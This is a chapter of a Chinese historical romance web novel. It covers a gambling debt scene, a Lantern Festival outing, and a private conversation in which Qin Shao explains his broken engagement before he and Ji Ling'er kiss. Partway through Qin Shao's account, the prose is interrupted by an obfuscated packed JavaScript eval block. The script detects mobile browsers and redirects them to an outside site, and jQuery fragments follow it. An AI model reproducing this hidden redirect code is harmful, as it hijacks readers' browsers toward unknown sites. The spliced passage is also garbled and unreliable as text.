赌局开始，梁宸自认谨慎，可骰子点数总在最后一刻偏离所料，频频险败对方。


    不过五六回合，梁宸所带来的银钱已输得干干净净。


    鬼面人好整以暇靠在椅背上：“看来小公子已无钱可赌了。”


    梁宸咬牙不语。


    鬼面人把玩着金蟾，慢条斯理道：“此物可还你，甚至你方才输掉的，也能一并归还。”


    梁宸惊喜抬眼，复警惕看向对方，他知天底下绝无如此便宜之事，遂问：“什么条件？”


    “很简单，我要一张出自汇通票号的汇票，须是加盖密押可兑换的。”


    梁宸瞳孔骤缩，每张汇票由专人填写，收支皆要在总账备案，他如何平白拿给这人一张？


    “办不到，你换个条件。”


    鬼面人笑：“我想你是没弄清楚状况，现在并非你讨价还价的时候。我给你五日期限，本月十七你若未拿汇票来此，此协定作废。”


    ...


    学堂上元节给弟子们放假两日，可回去与家人团聚，共赏灯会，度佳节。


    十四日散学，云衡与季灵儿同行，道：“明晚咱还一起逛灯市。”


    去年上元夜便是二人一起过的。


    上元节算大日子，照秦家规矩要在正院用过家宴方可外出，季灵儿不晓得其中会否有差池，迟疑道：“我如今宿在亲戚家多有不便，不好给你准信，明日戌时前我找人给你传话。”


    “成，”云衡略有些失落，很快眸光又亮起：“那今日总该有空吧，如意楼出了新菜品，我请客！”


    季灵儿悄悄往马车里探一眼，见里头无人，便让车夫回去传信，欣喜地随云衡跃上他家马车往如意楼而去。


    席间两人天南海北聊着，云衡道：“还好你这亲戚不太约束你，要不我有新鲜事寻不着人分享。”


    “确实说得过去。”季灵儿含糊应着。


    非有特殊安排，秦劭素来不限制她外出赴局。至于秦家其他人，她高兴起来忘了着意问……未曾有人找茬，想来是无人在乎的。


    云衡：“究竟是什么关系的亲戚，若得空，引荐我拜会拜会？”


    季灵儿：“拜他们作甚？”


    云衡丹凤眼微挑，扬着清澈的笑意道：“自然是拉进关系啊，往后好互相照应。”


    季灵儿心说你们两家的关系何须再拉近，面上只斜他一眼道：“别拿你们公子哥拉关系的做派来我跟前摆，有何可照应的，我不见得会常住他家。”


    云衡对她的打趣一笑置之，好奇心落在后面：“为何不会常住？”


    “寄人篱下总不是长久，等学堂期满，我自有去处。”季灵儿回的颇为实在。


    云衡执箸的手顿了顿，届时弟子们各自回去照看家业，他亦不例外，不知她会落在何处，因问：“你会去那位义父的铺子里吗？”


    云衡和其他人一样，只知她有位神秘的义父，不知其姓甚名谁，乃何方神圣，他怕学堂解散后二人离得太远。


    “不是，我回曹县。”季灵儿道。


    云衡略一愣，约莫明白些：“因为你恩师？”


    “嗯。”


    话题至此略有沉重，二人默契地转了话头。


    与此同时，秦府正院。


    姑太太带女儿回来探亲，屋里围坐许多人，秦劭亦在其中。


    季灵儿每日出府老夫人是知晓的，得消息的头两日问过秦劭，他回说娘子黏人，且年岁轻，事事新鲜，因而一同带去叠翠园。


    孙儿既如此说，无论真假可见二人亲近，老夫人高兴来不及，自不多过问。


    可今日亲戚来，依旧不见人回来用膳，不免多问一句：“芮宁呢？”


    秦劭：“去赴朋友之约，要晚些回来。”


    老夫人有疑心但未形于色，一旁秦劭的二姑母倒是笑出声来：“原想能见一见宗劭媳妇，竟如此不巧。”


    秦劭客气地回以一笑：“来日方长，姑母总能见到。”


    听这话音，至少今日是不打算让人见了，老夫人兀自敲定心中疑虑，垂眸藏了欣慰的笑意。


    孙儿还是很在意孙媳的。


    她心中暗喜不欲戳破，那边坐着的粉妆玉琢的女子却挑眉打趣：“莫不是表兄故意藏着，不想让我瞧吧？”


    二姑母嗔看女儿一眼：“烟儿。”


    秦劭：“表妹这话从何说起？”


    “自是表兄紧张嫂嫂，怕我这个嘴快的在嫂嫂跟前揭你短处。”凌烟道，丝绸般的嗓音柔滑而轻缓，笑声铃铃悦耳。


    “我行得正坐得端，并无可惧。”秦劭见惯了她这副模样，回应亦是一贯的肃然。


    凌烟轻“哦”一声垂敛笑眼，指尖点了点茶盏边缘，“那便盼着嫂嫂早日得空，好让我们一睹风采。”


    秦劭啜一口茶，没再说话。


    这边说着话，那边门上来人报大少夫人回来了。


    凌烟重新挑起兴致，提出去拜会。


    老夫人没应声，微微抬眼看向孙儿。


    秦劭搁下茶盏，说：“今日有些晚了，明日罢。”


    老夫人瞧他护得紧，笑着对凌烟道：“说的是，左右你与你母亲今日宿在府中，明日咱们一起过节，何愁见不着人。”


    *


    季灵儿刚从大房院的角门进来，玉秀便迎上来说了姑太太和表小姐来府上做客之事。


    “表小姐？”季灵儿想到师兄们讨论的内容，追问：“可是曾与大爷订过亲的表小姐？”


    玉秀错愕，言不知有此事。


    又揪来秋棠问，秋棠正踌躇不知该不该答时，秦劭挑帘进来。


    季灵儿紧两步到他跟前，仰着好奇的脸直问：“听说正院来客人了？”


    他目光在炯炯明眸中流连，一寸不愿意错开，颔首道：“嗯，姑母和表妹来看望祖母。”


    “表妹？”季灵儿每个字音都拖长，问的极具深意。


    弟子酒楼聚会那日秦劭隔墙听到只言片语，了然她此刻眼中燃烧的好奇是为何。


    无奈道：“陈年旧事，莫要听他们胡说。”


    季灵儿撇了撇嘴，心说您这话颇有此地无银三百两的意味，耐不住心痒追问：“那您亲自同我说说真相呗。”


    “当真想听？”


    季灵儿点头。


    秦劭原本也要同她说的，不多推脱，道：“先将你这花猫脸洗了。”


    季灵儿乖乖去净面，秦劭同样简单净了手脸，侧靠在暖炕上，示意她在身旁空处坐下。


    有了前两日帮他读书的经历，季灵儿极自然地踢鞋窝上去，紧挨他坐下。


    暖流在身体里涌动，秦劭没有多余动作，缓缓开口：“表妹儿时常来府中，祖母喜爱她，做主定下亲事


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401930|184104||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，待我及冠便行纳采之礼，不过后来她反悔了。”


    “为何？”


    “说我无趣，太沉闷，没时间陪她。”


    季灵儿对这个答复半点不意外。


    秦劭注意到她眼中闪过的认同之色，微微一顿，继而低声道：“她要的是个能陪她看花赏月，云游山水的夫郎，我撑着门户和商行，给不了她这些。”


    话里讲着另外一人，视线却紧紧攫在她身上，不愿放过任何细微表情。


    谁不想要个知冷知热，陪伴在侧的良人，季灵儿觉得那位表妹所求不算过分，因此没什么特殊反应，盈盈眸光映着他棱角分明的脸，期待他继续。


    “所以她悔婚了？”


    秦劭点头，“祖母和姑母责她任性，不同意退婚，她便哭闹，说我性格暴戾，私下苛待她，不退亲倒不如早些弃了性命投胎去。”


    季灵儿噗嗤笑出声：“您就甘愿背这等冤名，不曾辩解？”


    “清者自清，何必多言。”秦劭语气平静，“况且，她所求非我所能给，强留无益。”


    季灵儿望着他沉静眉眼，忽觉心头微涩，想来是为自家先生惨遭抛弃不忿，她这人一向护短。


    低声问：“那您喜欢她吗？”


    秦劭摇头，“我与她仅有兄妹之谊。”


    “没旁的了？”季灵儿总觉得这段往事结束的太轻易。又或是秦劭描述的太轻巧。


    “没了。”他道。


    月色如霜，在窗棂上洒下一层清辉，屋内燃了香，缭绕着令人心安的甜丝。


    季灵儿挪目望着那缕盘旋的轻烟，恍惚许久，问：“那您呢？您想要一个什么样的妻子？”


    秦劭同样转头，视线落在她被月光映亮的侧脸上，喉结上下翻滚，“你先前问过，忘了？”


    “不一样。”


    那时问的是喜欢什么样的女子，他说没喜欢过，不知道。


    “我眼下问的是您期待有一个什么样的妻子。”


    他沉默许久，久到季灵儿以为他不会回答这个问题。


    然后听见他说：“已有妻室在眼前，别无期待。”


    磁性嗓音低沉滚进耳窝，季灵儿的心被烟雾一样缥缈的东西轻轻缠住，甜香沁入心脾，却捕捉不到实在的形状。


    情绪被托举腾空的瞬间，她闪过一个念头：若她是真的宋芮宁，该多好。


    这念头留存的时间不长，但足够她仰头，在他唇角轻啄一个吻。


    唇落即离，心跳如鼓。


    “嗯？”秦劭诧异垂眸。


    “这是你作为夫君应得的。”为掩饰羞赧，她回的一本正经。


    秦劭笑了下，以同样的严肃同她探讨：“作为夫君，我应得的可不止这些。”


    “不许贪心！”她说着挪开身子，隔开他骤然逼近的灼热气息。


    秦劭探手扣住她的掌心，眸中溢满深情的祈盼：“我不贪心，只再亲一下，可以吗？”


    季灵儿怔住，掌心下的指尖微微蜷曲，不答复也未挣脱。


    他抬起另一只手，爱怜的沿着樱唇的轮廓描摹，走走停停，断断续续的触感令她浑身酥麻。


    指腹在唇角停下，半藏在微张的唇瓣间，他轻声唤她：“季凌。”


    季灵儿控制不住睫毛的扇动，无辜又紧张地看着他。


    “就一下。”他低语承诺。